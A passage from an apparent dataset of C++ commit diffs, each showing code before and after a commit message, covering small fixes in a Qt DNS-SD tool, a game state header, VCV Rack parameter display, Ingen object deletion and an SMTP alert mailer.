parts[3];\n\n\t\t\tif(!txt.isEmpty())\n\t\t\t{\n\t\t\t\tQList<QByteArray> strings;\n\t\t\t\tforeach(const QString &str, txt)\n\t\t\t\t\tstrings += str.toUtf8();\n\n\t\t\t\tQByteArray txtRecord = QDnsSd::createTxtRecord(strings);\n\t\t\t\tif(txtRecord.isEmpty())\n\t\t\t\t{\n\t\t\t\t\tprintf(\"Error: failed to create TXT record, input too large or invalid\\n\");\n\t\t\t\t\treturn 1;\n\t\t\t\t}\n\n\t\t\t\tc.txtRecord = txtRecord;\n\t\t\t}\n\n\t\t\tcommands += c;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tprintf(\"Error: unknown command type '%s'.\\n\", qPrintable(type));\n\t\t\treturn 1;\n\t\t}\n\t}\n\n\tApp app;\n\tapp.commands = commands;\n\tQObject::connect(&app, SIGNAL(quit()), &qapp, SLOT(quit()));\n\tQTimer::singleShot(0, &app, SLOT(start()));\n\tqapp.exec();\n\treturn 0;\n}\n<|endoftext|>"} {"text":"<commit_before>#ifndef MAINSTATE_HPP\n#define MAINSTATE_HPP\n\n#include <memory>\n#include <SFML\/Graphics\/RenderTarget.hpp>\n#include \"gamelib\/GameState.hpp\"\n#include \"gamelib\/sprite\/SpriteSet.hpp\"\n#include \"gamelib\/Scene\/Scene.hpp\"\n#include \"gamelib\/tile\/StaticRenderTilemap.hpp\"\n#include \"gamelib\/event\/SFMLEvent.hpp\"\n#include \"gamelib\/utils\/DebugGui.hpp\"\n#include \"Player.hpp\"\n\nnamespace gamelib\n{\n class Game;\n class EventManager;\n}\n\nclass MainState : public gamelib::GameState\n{\n public:\n MainState();\n\n bool init(gamelib::Game* game);\n void quit();\n\n void update(float fps);\n void render(sf::RenderTarget& target);\n\n const gamelib::Game& getGame() const;\n const gamelib::SpriteSet& getSpriteSet() const;\n const gamelib::StaticTilemap<gamelib::SpriteData>& getCollisionMap() const;\n\n private:\n static void _eventCallback(MainState* me, gamelib::EventPtr ev);\n\n private:\n gamelib::Game* _game;\n gamelib::SpriteSet _spriteset;\n gamelib::StaticRenderTilemap _map;\n Player _player;\n};\n\n#endif\n<commit_msg>Remove unused include<commit_after>#ifndef MAINSTATE_HPP\n#define MAINSTATE_HPP\n\n#include <memory>\n#include <SFML\/Graphics\/RenderTarget.hpp>\n#include \"gamelib\/GameState.hpp\"\n#include \"gamelib\/sprite\/SpriteSet.hpp\"\n#include \"gamelib\/Scene\/Scene.hpp\"\n#include \"gamelib\/tile\/StaticRenderTilemap.hpp\"\n#include \"gamelib\/event\/SFMLEvent.hpp\"\n#include \"Player.hpp\"\n\nnamespace gamelib\n{\n class Game;\n class EventManager;\n}\n\nclass MainState : public gamelib::GameState\n{\n public:\n MainState();\n\n bool init(gamelib::Game* game);\n void quit();\n\n void update(float fps);\n void render(sf::RenderTarget& target);\n\n const gamelib::Game& getGame() const;\n const gamelib::SpriteSet& getSpriteSet() const;\n const gamelib::StaticTilemap<gamelib::SpriteData>& getCollisionMap() const;\n\n private:\n static void _eventCallback(MainState* me, gamelib::EventPtr ev);\n\n private:\n gamelib::Game* _game;\n gamelib::SpriteSet _spriteset;\n gamelib::StaticRenderTilemap _map;\n Player _player;\n};\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>#include <engine\/ParamQuantity.hpp>\n#include <app.hpp>\n#include <engine\/Engine.hpp>\n\n\nnamespace rack {\nnamespace engine {\n\n\nengine::Param *ParamQuantity::getParam() {\n\tassert(module);\n\treturn &module->params[paramId];\n}\n\nvoid ParamQuantity::setSmoothValue(float smoothValue) {\n\tif (!module)\n\t\treturn;\n\tsmoothValue = math::clampSafe(smoothValue, getMinValue(), getMaxValue());\n\tAPP->engine->setSmoothParam(module, paramId, smoothValue);\n}\n\nfloat ParamQuantity::getSmoothValue() {\n\tif (!module)\n\t\treturn 0.f;\n\treturn APP->engine->getSmoothParam(module, paramId);\n}\n\nvoid ParamQuantity::setValue(float value) {\n\tif (!module)\n\t\treturn;\n\tvalue = math::clampSafe(value, getMinValue(), getMaxValue());\n\tAPP->engine->setParam(module, paramId, value);\n}\n\nfloat ParamQuantity::getValue() {\n\tif (!module)\n\t\treturn 0.f;\n\treturn APP->engine->getParam(module, paramId);\n}\n\nfloat ParamQuantity::getMinValue() {\n\treturn minValue;\n}\n\nfloat ParamQuantity::getMaxValue() {\n\treturn maxValue;\n}\n\nfloat ParamQuantity::getDefaultValue() {\n\treturn defaultValue;\n}\n\nfloat ParamQuantity::getDisplayValue() {\n\tif (!module)\n\t\treturn Quantity::getDisplayValue();\n\tfloat v = getSmoothValue();\n\tif (displayBase == 0.f) {\n\t\t\/\/ Linear\n\t\t\/\/ v is unchanged\n\t}\n\telse if (displayBase < 0.f) {\n\t\t\/\/ Logarithmic\n\t\tv = std::log(v) \/ std::log(-displayBase);\n\t}\n\telse {\n\t\t\/\/ Exponential\n\t\tv = std::pow(displayBase, v);\n\t}\n\treturn v * displayMultiplier + displayOffset;\n}\n\nvoid ParamQuantity::setDisplayValue(float displayValue) {\n\tif (!module)\n\t\treturn;\n\tfloat v = (displayValue - displayOffset) \/ displayMultiplier;\n\tif (displayBase == 0.f) {\n\t\t\/\/ Linear\n\t\t\/\/ v is unchanged\n\t}\n\telse if (displayBase < 0.f) {\n\t\t\/\/ Logarithmic\n\t\tv = std::pow(-displayBase, v);\n\t}\n\telse {\n\t\t\/\/ Exponential\n\t\tv = std::log(v) \/ std::log(displayBase);\n\t}\n\tsetValue(v);\n}\n\nint ParamQuantity::getDisplayPrecision() {\n\treturn Quantity::getDisplayPrecision();\n}\n\nstd::string ParamQuantity::getDisplayValueString() {\n\treturn Quantity::getDisplayValueString();\n}\n\nvoid ParamQuantity::setDisplayValueString(std::string s) {\n\tQuantity::setDisplayValueString(s);\n}\n\nstd::string ParamQuantity::getLabel() {\n\treturn label;\n}\n\nstd::string ParamQuantity::getUnit() {\n\treturn unit;\n}\n\n\n} \/\/ namespace engine\n} \/\/ namespace rack\n<commit_msg>Allow ParamQuantity::displayMultiplier to be 0.<commit_after>#include <engine\/ParamQuantity.hpp>\n#include <app.hpp>\n#include <engine\/Engine.hpp>\n\n\nnamespace rack {\nnamespace engine {\n\n\nengine::Param *ParamQuantity::getParam() {\n\tassert(module);\n\treturn &module->params[paramId];\n}\n\nvoid ParamQuantity::setSmoothValue(float smoothValue) {\n\tif (!module)\n\t\treturn;\n\tsmoothValue = math::clampSafe(smoothValue, getMinValue(), getMaxValue());\n\tAPP->engine->setSmoothParam(module, paramId, smoothValue);\n}\n\nfloat ParamQuantity::getSmoothValue() {\n\tif (!module)\n\t\treturn 0.f;\n\treturn APP->engine->getSmoothParam(module, paramId);\n}\n\nvoid ParamQuantity::setValue(float value) {\n\tif (!module)\n\t\treturn;\n\tvalue = math::clampSafe(value, getMinValue(), getMaxValue());\n\tAPP->engine->setParam(module, paramId, value);\n}\n\nfloat ParamQuantity::getValue() {\n\tif (!module)\n\t\treturn 0.f;\n\treturn APP->engine->getParam(module, paramId);\n}\n\nfloat ParamQuantity::getMinValue() {\n\treturn minValue;\n}\n\nfloat ParamQuantity::getMaxValue() {\n\treturn maxValue;\n}\n\nfloat ParamQuantity::getDefaultValue() {\n\treturn defaultValue;\n}\n\nfloat ParamQuantity::getDisplayValue() {\n\tif (!module)\n\t\treturn Quantity::getDisplayValue();\n\tfloat v = getSmoothValue();\n\tif (displayBase == 0.f) {\n\t\t\/\/ Linear\n\t\t\/\/ v is unchanged\n\t}\n\telse if (displayBase < 0.f) {\n\t\t\/\/ Logarithmic\n\t\tv = std::log(v) \/ std::log(-displayBase);\n\t}\n\telse {\n\t\t\/\/ Exponential\n\t\tv = std::pow(displayBase, v);\n\t}\n\treturn v * displayMultiplier + displayOffset;\n}\n\nvoid ParamQuantity::setDisplayValue(float displayValue) {\n\tif (!module)\n\t\treturn;\n\tfloat v = displayValue - displayOffset;\n\tif (displayMultiplier == 0.f)\n\t\tv = 0.f;\n\telse\n\t\tv \/= displayMultiplier;\n\tif (displayBase == 0.f) {\n\t\t\/\/ Linear\n\t\t\/\/ v is unchanged\n\t}\n\telse if (displayBase < 0.f) {\n\t\t\/\/ Logarithmic\n\t\tv = std::pow(-displayBase, v);\n\t}\n\telse {\n\t\t\/\/ Exponential\n\t\tv = std::log(v) \/ std::log(displayBase);\n\t}\n\tsetValue(v);\n}\n\nint ParamQuantity::getDisplayPrecision() {\n\treturn Quantity::getDisplayPrecision();\n}\n\nstd::string ParamQuantity::getDisplayValueString() {\n\treturn Quantity::getDisplayValueString();\n}\n\nvoid ParamQuantity::setDisplayValueString(std::string s) {\n\tQuantity::setDisplayValueString(s);\n}\n\nstd::string ParamQuantity::getLabel() {\n\treturn label;\n}\n\nstd::string ParamQuantity::getUnit() {\n\treturn unit;\n}\n\n\n} \/\/ namespace engine\n} \/\/ namespace rack\n<|endoftext|>"} {"text":"<commit_before>\/* This file is part of Ingen.\n * Copyright (C) 2007-2009 Dave Robillard <http:\/\/drobilla.net>\n *\n * Ingen is free software; you can redistribute it and\/or modify it under the\n * terms of the GNU General Public License as published by the Free Software\n * Foundation; either version 2 of the License, or (at your option) any later\n * version.\n *\n * Ingen is distributed in the hope that it will be useful, but WITHOUT ANY\n * WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS\n * FOR A PARTICULAR PURPOSE. See the GNU General Public License for details.\n *\n * You should have received a copy of the GNU General Public License along\n * with this program; if not, write to the Free Software Foundation, Inc.,\n * 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n *\/\n\n#include \"raul\/Maid.hpp\"\n#include \"raul\/Path.hpp\"\n#include \"ClientBroadcaster.hpp\"\n#include \"ControlBindings.hpp\"\n#include \"Delete.hpp\"\n#include \"DisconnectAll.hpp\"\n#include \"Driver.hpp\"\n#include \"Engine.hpp\"\n#include \"EngineStore.hpp\"\n#include \"NodeBase.hpp\"\n#include \"PatchImpl.hpp\"\n#include \"PluginImpl.hpp\"\n#include \"PortImpl.hpp\"\n#include \"Request.hpp\"\n\nusing namespace std;\n\nnamespace Ingen {\nnamespace Events {\n\nusing namespace Shared;\n\n\nDelete::Delete(Engine& engine, SharedPtr<Request> request, FrameTime time, const Raul::Path& path)\n\t: QueuedEvent(engine, request, time, true)\n\t, _path(path)\n\t, _store_iterator(engine.engine_store()->end())\n\t, _driver_port(NULL)\n\t, _patch_node_listnode(NULL)\n\t, _patch_port_listnode(NULL)\n\t, _ports_array(NULL)\n\t, _compiled_patch(NULL)\n\t, _disconnect_event(NULL)\n{\n\tassert(request);\n\tassert(request->source());\n}\n\n\nDelete::~Delete()\n{\n\tdelete _disconnect_event;\n}\n\n\nvoid\nDelete::pre_process()\n{\n\t_removed_bindings = _engine.control_bindings()->remove(_path);\n\n\t_store_iterator = _engine.engine_store()->find(_path);\n\n\tif (_store_iterator != _engine.engine_store()->end()) {\n\t\t_node = PtrCast<NodeImpl>(_store_iterator->second);\n\n\t\tif (!_node)\n\t\t\t_port = PtrCast<PortImpl>(_store_iterator->second);\n\t}\n\n\tif (_store_iterator != _engine.engine_store()->end()) {\n\t\t_removed_table = _engine.engine_store()->remove(_store_iterator);\n\t}\n\n\tif (_node && !_path.is_root()) {\n\t\tassert(_node->parent_patch());\n\t\t_patch_node_listnode = _node->parent_patch()->remove_node(_path.symbol());\n\t\tif (_patch_node_listnode) {\n\t\t\tassert(_patch_node_listnode->elem() == _node.get());\n\n\t\t\t_disconnect_event = new DisconnectAll(_engine, _node->parent_patch(), _node.get());\n\t\t\t_disconnect_event->pre_process();\n\n\t\t\tif (_node->parent_patch()->enabled()) {\n\t\t\t\t\/\/ FIXME: is this called multiple times?\n\t\t\t\t_compiled_patch = _node->parent_patch()->compile();\n#ifndef NDEBUG\n\t\t\t\t\/\/ Be sure node is removed from process order, so it can be deleted\n\t\t\t\tfor (size_t i=0; i < _compiled_patch->size(); ++i) {\n\t\t\t\t\tassert(_compiled_patch->at(i).node() != _node.get());\n\t\t\t\t\t\/\/ FIXME: check providers\/dependants too\n\t\t\t\t}\n#endif\n\t\t\t}\n\t\t}\n\t} else if (_port) {\n\t\tassert(_port->parent_patch());\n\t\t_patch_port_listnode = _port->parent_patch()->remove_port(_path.symbol());\n\t\tif (_patch_port_listnode) {\n\t\t\tassert(_patch_port_listnode->elem() == _port.get());\n\n\t\t\t_disconnect_event = new DisconnectAll(_engine, _port->parent_patch(), _port.get());\n\t\t\t_disconnect_event->pre_process();\n\n\t\t\tif (_port->parent_patch()->enabled()) {\n\t\t\t\t\/\/ FIXME: is this called multiple times?\n\t\t\t\t_compiled_patch = _port->parent_patch()->compile();\n\t\t\t\t_ports_array = _port->parent_patch()->build_ports_array();\n\t\t\t\tassert(_ports_array->size() == _port->parent_patch()->num_ports());\n\t\t\t}\n\t\t}\n\n\t}\n\n\tQueuedEvent::pre_process();\n}\n\n\nvoid\nDelete::execute(ProcessContext& context)\n{\n\tQueuedEvent::execute(context);\n\n\tif (_patch_node_listnode) {\n\t\tassert(_node);\n\n\t\tif (_disconnect_event)\n\t\t\t_disconnect_event->execute(context);\n\n\t\tif (_node->parent_patch()->compiled_patch())\n\t\t\t_engine.maid()->push(_node->parent_patch()->compiled_patch());\n\n\t\t_node->parent_patch()->compiled_patch(_compiled_patch);\n\n\t} else if (_patch_port_listnode) {\n\t\tassert(_port);\n\n\t\tif (_disconnect_event)\n\t\t\t_disconnect_event->execute(context);\n\n\t\tif (_port->parent_patch()->compiled_patch())\n\t\t\t_engine.maid()->push(_port->parent_patch()->compiled_patch());\n\n\t\t_port->parent_patch()->compiled_patch(_compiled_patch);\n\n\t\tif (_port->parent_patch()->external_ports())\n\t\t\t_engine.maid()->push(_port->parent_patch()->external_ports());\n\n\t\t_port->parent_patch()->external_ports(_ports_array);\n\n\t\tif ( ! _port->parent_patch()->parent()) {\n\t\t\t_driver_port = _engine.driver()->remove_port(_port->path());\n\t\t}\n\t}\n\n\t_request->unblock();\n}\n\n\nvoid\nDelete::post_process()\n{\n\t_removed_bindings.reset();\n\n\tif (!_node && !_port) {\n\t\tif (_path.is_root()) {\n\t\t\t_request->respond_error(\"You can not destroy the root patch (\/)\");\n\t\t} else {\n\t\t\tstring msg = string(\"Could not find object \") + _path.str() + \" to destroy\";\n\t\t\t_request->respond_error(msg);\n\t\t}\n\t}\n\n\tif (_patch_node_listnode) {\n\t\tassert(_node);\n\t\t_node->deactivate();\n\t\t_request->respond_ok();\n\t\t_engine.broadcaster()->bundle_begin();\n\t\tif (_disconnect_event)\n\t\t\t_disconnect_event->post_process();\n\t\t_engine.broadcaster()->del(_path);\n\t\t_engine.broadcaster()->bundle_end();\n\t\t_engine.maid()->push(_patch_node_listnode);\n\t} else if (_patch_port_listnode) {\n\t\tassert(_port);\n\t\t_request->respond_ok();\n\t\t_engine.broadcaster()->bundle_begin();\n\t\tif (_disconnect_event)\n\t\t\t_disconnect_event->post_process();\n\t\t_engine.broadcaster()->del(_path);\n\t\t_engine.broadcaster()->bundle_end();\n\t\t_engine.maid()->push(_patch_port_listnode);\n\t} else {\n\t\t_request->respond_error(\"Unable to destroy object\");\n\t}\n\n\tif (_driver_port) {\n\t\t_driver_port->elem()->destroy();\n\t\t_engine.maid()->push(_driver_port);\n\t}\n}\n\n\n} \/\/ namespace Ingen\n} \/\/ namespace Events\n<commit_msg>Refuse to delete \/control_in or \/control_out (fix crashes e.g. select-all + delete).<commit_after>\/* This file is part of Ingen.\n * Copyright (C) 2007-2009 Dave Robillard <http:\/\/drobilla.net>\n *\n * Ingen is free software; you can redistribute it and\/or modify it under the\n * terms of the GNU General Public License as published by the Free Software\n * Foundation; either version 2 of the License, or (at your option) any later\n * version.\n *\n * Ingen is distributed in the hope that it will be useful, but WITHOUT ANY\n * WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS\n * FOR A PARTICULAR PURPOSE. See the GNU General Public License for details.\n *\n * You should have received a copy of the GNU General Public License along\n * with this program; if not, write to the Free Software Foundation, Inc.,\n * 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n *\/\n\n#include \"raul\/Maid.hpp\"\n#include \"raul\/Path.hpp\"\n#include \"ClientBroadcaster.hpp\"\n#include \"ControlBindings.hpp\"\n#include \"Delete.hpp\"\n#include \"DisconnectAll.hpp\"\n#include \"Driver.hpp\"\n#include \"Engine.hpp\"\n#include \"EngineStore.hpp\"\n#include \"NodeBase.hpp\"\n#include \"PatchImpl.hpp\"\n#include \"PluginImpl.hpp\"\n#include \"PortImpl.hpp\"\n#include \"Request.hpp\"\n\nusing namespace std;\n\nnamespace Ingen {\nnamespace Events {\n\nusing namespace Shared;\n\n\nDelete::Delete(Engine& engine, SharedPtr<Request> request, FrameTime time, const Raul::Path& path)\n\t: QueuedEvent(engine, request, time, true)\n\t, _path(path)\n\t, _store_iterator(engine.engine_store()->end())\n\t, _driver_port(NULL)\n\t, _patch_node_listnode(NULL)\n\t, _patch_port_listnode(NULL)\n\t, _ports_array(NULL)\n\t, _compiled_patch(NULL)\n\t, _disconnect_event(NULL)\n{\n\tassert(request);\n\tassert(request->source());\n}\n\n\nDelete::~Delete()\n{\n\tdelete _disconnect_event;\n}\n\n\nvoid\nDelete::pre_process()\n{\n\tif (_path.is_root() || _path == \"path:\/control_in\" || _path == \"path:\/control_out\") {\n\t\tQueuedEvent::pre_process();\n\t\treturn;\n\t}\n\n\t_removed_bindings = _engine.control_bindings()->remove(_path);\n\n\t_store_iterator = _engine.engine_store()->find(_path);\n\n\tif (_store_iterator != _engine.engine_store()->end()) {\n\t\t_node = PtrCast<NodeImpl>(_store_iterator->second);\n\n\t\tif (!_node)\n\t\t\t_port = PtrCast<PortImpl>(_store_iterator->second);\n\t}\n\n\tif (_store_iterator != _engine.engine_store()->end()) {\n\t\t_removed_table = _engine.engine_store()->remove(_store_iterator);\n\t}\n\n\tif (_node && !_path.is_root()) {\n\t\tassert(_node->parent_patch());\n\t\t_patch_node_listnode = _node->parent_patch()->remove_node(_path.symbol());\n\t\tif (_patch_node_listnode) {\n\t\t\tassert(_patch_node_listnode->elem() == _node.get());\n\n\t\t\t_disconnect_event = new DisconnectAll(_engine, _node->parent_patch(), _node.get());\n\t\t\t_disconnect_event->pre_process();\n\n\t\t\tif (_node->parent_patch()->enabled()) {\n\t\t\t\t\/\/ FIXME: is this called multiple times?\n\t\t\t\t_compiled_patch = _node->parent_patch()->compile();\n#ifndef NDEBUG\n\t\t\t\t\/\/ Be sure node is removed from process order, so it can be deleted\n\t\t\t\tfor (size_t i=0; i < _compiled_patch->size(); ++i) {\n\t\t\t\t\tassert(_compiled_patch->at(i).node() != _node.get());\n\t\t\t\t\t\/\/ FIXME: check providers\/dependants too\n\t\t\t\t}\n#endif\n\t\t\t}\n\t\t}\n\t} else if (_port) {\n\t\tassert(_port->parent_patch());\n\t\t_patch_port_listnode = _port->parent_patch()->remove_port(_path.symbol());\n\t\tif (_patch_port_listnode) {\n\t\t\tassert(_patch_port_listnode->elem() == _port.get());\n\n\t\t\t_disconnect_event = new DisconnectAll(_engine, _port->parent_patch(), _port.get());\n\t\t\t_disconnect_event->pre_process();\n\n\t\t\tif (_port->parent_patch()->enabled()) {\n\t\t\t\t\/\/ FIXME: is this called multiple times?\n\t\t\t\t_compiled_patch = _port->parent_patch()->compile();\n\t\t\t\t_ports_array = _port->parent_patch()->build_ports_array();\n\t\t\t\tassert(_ports_array->size() == _port->parent_patch()->num_ports());\n\t\t\t}\n\t\t}\n\n\t}\n\n\tQueuedEvent::pre_process();\n}\n\n\nvoid\nDelete::execute(ProcessContext& context)\n{\n\tQueuedEvent::execute(context);\n\n\tif (_patch_node_listnode) {\n\t\tassert(_node);\n\n\t\tif (_disconnect_event)\n\t\t\t_disconnect_event->execute(context);\n\n\t\tif (_node->parent_patch()->compiled_patch())\n\t\t\t_engine.maid()->push(_node->parent_patch()->compiled_patch());\n\n\t\t_node->parent_patch()->compiled_patch(_compiled_patch);\n\n\t} else if (_patch_port_listnode) {\n\t\tassert(_port);\n\n\t\tif (_disconnect_event)\n\t\t\t_disconnect_event->execute(context);\n\n\t\tif (_port->parent_patch()->compiled_patch())\n\t\t\t_engine.maid()->push(_port->parent_patch()->compiled_patch());\n\n\t\t_port->parent_patch()->compiled_patch(_compiled_patch);\n\n\t\tif (_port->parent_patch()->external_ports())\n\t\t\t_engine.maid()->push(_port->parent_patch()->external_ports());\n\n\t\t_port->parent_patch()->external_ports(_ports_array);\n\n\t\tif ( ! _port->parent_patch()->parent()) {\n\t\t\t_driver_port = _engine.driver()->remove_port(_port->path());\n\t\t}\n\t}\n\n\t_request->unblock();\n}\n\n\nvoid\nDelete::post_process()\n{\n\t_removed_bindings.reset();\n\n\tif (_path.is_root() || _path == \"path:\/control_in\" || _path == \"path:\/control_out\") {\n\t\t_request->respond_error(_path.chop_scheme() + \" can not be deleted\");\n\t} else if (!_node && !_port) {\n\t\tstring msg = string(\"Could not find object \") + _path.chop_scheme() + \" to delete\";\n\t\t_request->respond_error(msg);\n\t} else if (_patch_node_listnode) {\n\t\tassert(_node);\n\t\t_node->deactivate();\n\t\t_request->respond_ok();\n\t\t_engine.broadcaster()->bundle_begin();\n\t\tif (_disconnect_event)\n\t\t\t_disconnect_event->post_process();\n\t\t_engine.broadcaster()->del(_path);\n\t\t_engine.broadcaster()->bundle_end();\n\t\t_engine.maid()->push(_patch_node_listnode);\n\t} else if (_patch_port_listnode) {\n\t\tassert(_port);\n\t\t_request->respond_ok();\n\t\t_engine.broadcaster()->bundle_begin();\n\t\tif (_disconnect_event)\n\t\t\t_disconnect_event->post_process();\n\t\t_engine.broadcaster()->del(_path);\n\t\t_engine.broadcaster()->bundle_end();\n\t\t_engine.maid()->push(_patch_port_listnode);\n\t} else {\n\t\t_request->respond_error(\"Unable to delete object \" + _path.chop_scheme());\n\t}\n\n\tif (_driver_port) {\n\t\t_driver_port->elem()->destroy();\n\t\t_engine.maid()->push(_driver_port);\n\t}\n}\n\n\n} \/\/ namespace Ingen\n} \/\/ namespace Events\n<|endoftext|>"} {"text":"<commit_before>#include <glog\/logging.h>\n#include <util\/util.h>\n#include <mailer_pool.h>\n\nusing namespace std::placeholders;\n\nnamespace {\n\nstruct mailer_extra {\n const std::string server;\n const std::string from;\n const std::vector<std::string> to;\n};\n\ntypedef std::pair<std::vector<char>, size_t> payload_t;\n\nsize_t payload_source(void *ptr, size_t size, size_t nmemb, void *userp)\n{\n\n if((size == 0) || (nmemb == 0) || ((size * nmemb) < 1)) {\n return 0;\n }\n\n auto payload_data = static_cast<payload_t*>(userp);\n\n size_t copied = payload_data->second;\n size_t left = payload_data->first.size() - copied;\n size_t to_copy = std::min(size * nmemb, left);\n\n if (to_copy > 0) {\n\n memcpy(ptr, static_cast<void*>(&payload_data->first[copied]), to_copy);\n payload_data->second += to_copy;\n\n return to_copy;\n\n } else {\n return 0;\n }\n\n}\n\nstd::vector<char> payload_text(const mailer_extra extra, const Event & e) {\n\n std::string to = \"unknown\";\n\n if (!extra.to.empty()) {\n to = extra.to[0];\n }\n\n std::string subject = e.host() + \" \" + e.service() + \" is \" + e.state()\n + e.metric_to_str();\n\n std::string payload = \"To: \" + to + \"\\r\\n\" +\n \"From: \" + extra.from + \"\\r\\n\" +\n \"Subject: \" + subject + \"\\r\\n\" +\n \"\\r\\n\" +\n e.json_str();\n\n return std::vector<char>(payload.begin(), payload.end());\n}\n\n}\n\nmailer_pool::mailer_pool(const size_t thread_num, const bool enable_debug)\n :\n curl_pool_(\n thread_num,\n std::bind(&mailer_pool::curl_event, this, _1, _2, _3)\n ),\n enable_debug_(enable_debug)\n{\n}\n\nvoid mailer_pool::push_event(const std::string server, const std::string from,\n const std::vector<std::string> to,\n const Event & event)\n{\n VLOG(3) << \"push_event() server: \" << server << \" from: \" << from;\n\n mailer_extra extra = {server, from, to};\n curl_pool_.push_event(event, extra);\n\n}\n\nvoid mailer_pool::curl_event(const queued_event_t queued_event,\n const std::shared_ptr<CURL> easy,\n std::function<void()> & clean_fn)\n{\n\n const auto extra = boost::any_cast<mailer_extra>(queued_event.extra);\n const auto & e = queued_event.event;\n\n std::shared_ptr<std::string> server(\n new std::string(\"smtp:\/\/\" + extra.server));\n\n std::shared_ptr<std::string> from(new std::string(extra.from));\n\n struct curl_slist *recipients = NULL;\n for (const auto & to : extra.to) {\n recipients = curl_slist_append(recipients, to.c_str());\n }\n\n auto payload = std::make_shared<payload_t>(\n payload_t({payload_text(extra, e), 0}));\n\n curl_easy_setopt(easy.get(), CURLOPT_URL, server->c_str());\n curl_easy_setopt(easy.get(), CURLOPT_MAIL_FROM, from->c_str());\n curl_easy_setopt(easy.get(), CURLOPT_MAIL_RCPT, recipients);\n curl_easy_setopt(easy.get(), CURLOPT_UPLOAD, 1L);\n curl_easy_setopt(easy.get(), CURLOPT_IPRESOLVE, CURL_IPRESOLVE_V4);\n curl_easy_setopt(easy.get(), CURLOPT_READFUNCTION, payload_source);\n curl_easy_setopt(easy.get(), CURLOPT_READDATA, payload.get());\n curl_easy_setopt(easy.get(), CURLOPT_VERBOSE, enable_debug_);\n\n clean_fn = [=]()\n {\n UNUSED_VAR(server);\n UNUSED_VAR(from);\n UNUSED_VAR(payload);\n if (recipients) {\n curl_slist_free_all(recipients);\n }\n };\n\n}\n\nvoid mailer_pool::stop() {\n VLOG(3) << \"stop()\";\n\n curl_pool_.stop();\n}\n<commit_msg>Improve email subject<commit_after>#include <glog\/logging.h>\n#include <util\/util.h>\n#include <mailer_pool.h>\n\nusing namespace std::placeholders;\n\nnamespace {\n\nstruct mailer_extra {\n const std::string server;\n const std::string from;\n const std::vector<std::string> to;\n};\n\ntypedef std::pair<std::vector<char>, size_t> payload_t;\n\nsize_t payload_source(void *ptr, size_t size, size_t nmemb, void *userp)\n{\n\n if((size == 0) || (nmemb == 0) || ((size * nmemb) < 1)) {\n return 0;\n }\n\n auto payload_data = static_cast<payload_t*>(userp);\n\n size_t copied = payload_data->second;\n size_t left = payload_data->first.size() - copied;\n size_t to_copy = std::min(size * nmemb, left);\n\n if (to_copy > 0) {\n\n memcpy(ptr, static_cast<void*>(&payload_data->first[copied]), to_copy);\n payload_data->second += to_copy;\n\n return to_copy;\n\n } else {\n return 0;\n }\n\n}\n\nstd::vector<char> payload_text(const mailer_extra extra, const Event & e) {\n\n std::string to = \"unknown\";\n\n if (!extra.to.empty()) {\n to = extra.to[0];\n }\n\n std::string subject = e.host() + \" \" + e.service() + \" is \" + e.state();\n\n if (e.has_metric()) {\n subject += \" (\" + e.metric_to_str() + \")\";\n }\n\n std::string payload = \"To: \" + to + \"\\r\\n\" +\n \"From: \" + extra.from + \"\\r\\n\" +\n \"Subject: \" + subject + \"\\r\\n\" +\n \"\\r\\n\" +\n e.json_str();\n\n return std::vector<char>(payload.begin(), payload.end());\n}\n\n}\n\nmailer_pool::mailer_pool(const size_t thread_num, const bool enable_debug)\n :\n curl_pool_(\n thread_num,\n std::bind(&mailer_pool::curl_event, this, _1, _2, _3)\n ),\n enable_debug_(enable_debug)\n{\n}\n\nvoid mailer_pool::push_event(const std::string server, const std::string from,\n const std::vector<std::string> to,\n const Event & event)\n{\n VLOG(3) << \"push_event() server: \" << server << \" from: \" << from;\n\n mailer_extra extra = {server, from, to};\n curl_pool_.push_event(event, extra);\n\n}\n\nvoid mailer_pool::curl_event(const queued_event_t queued_event,\n const std::shared_ptr<CURL> easy,\n std::function<void()> & clean_fn)\n{\n\n const auto extra = boost::any_cast<mailer_extra>(queued_event.extra);\n const auto & e = queued_event.event;\n\n std::shared_ptr<std::string> server(\n new std::string(\"smtp:\/\/\" + extra.server));\n\n std::shared_ptr<std::string> from(new std::string(extra.from));\n\n struct curl_slist *recipients = NULL;\n for (const auto & to : extra.to) {\n recipients = curl_slist_append(recipients, to.c_str());\n }\n\n auto payload = std::make_shared<payload_t>(\n payload_t({payload_text(extra, e), 0}));\n\n curl_easy_setopt(easy.get(), CURLOPT_URL, server->c_str());\n curl_easy_setopt(easy.get(), CURLOPT_MAIL_FROM, from->c_str());\n curl_easy_setopt(easy.get(), CURLOPT_MAIL_RCPT, recipients);\n curl_easy_setopt(easy.get(), CURLOPT_UPLOAD, 1L);\n curl_easy_setopt(easy.get(), CURLOPT_IPRESOLVE, CURL_IPRESOLVE_V4);\n curl_easy_setopt(easy.get(), CURLOPT_READFUNCTION, payload_source);\n curl_easy_setopt(easy.get(), CURLOPT_READDATA, payload.get());\n curl_easy_setopt(easy.get(), CURLOPT_VERBOSE, enable_debug_);\n\n clean_fn = [=]()\n {\n UNUSED_VAR(server);\n UNUSED_VAR(from);\n UNUSED_VAR(payload);\n if (recipients) {\n curl_slist_free_all(recipients);\n }\n };\n\n}\n\nvoid mailer_pool::stop() {\n VLOG(3) << \"stop()\";\n\n curl_pool_.stop();\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (C) 2012-2015 Leap Motion, Inc. All rights reserved.\n#include \"stdafx.h\"\n#include \"ProtobufUtil.hpp\"\n#include \"Archive.h\"\n#include \"Descriptor.h\"\n#include <iomanip>\n#include <sstream>\n\nusing namespace leap;\nusing leap::internal::protobuf::WireType;\n\nWireType leap::internal::protobuf::ToWireType(serial_atom atom) {\n switch (atom) {\n case serial_atom::boolean:\n case serial_atom::i8:\n case serial_atom::ui8:\n case serial_atom::i16:\n case serial_atom::ui16:\n case serial_atom::i32:\n case serial_atom::ui32:\n case serial_atom::i64:\n case serial_atom::ui64:\n return WireType::Varint;\n case serial_atom::f32:\n return WireType::DoubleWord;\n case serial_atom::f64:\n return WireType::QuadWord;\n case serial_atom::reference:\n case serial_atom::array:\n return WireType::LenDelimit;\n case serial_atom::string:\n return WireType::LenDelimit;\n case serial_atom::map:\n break;\n case serial_atom::descriptor:\n return 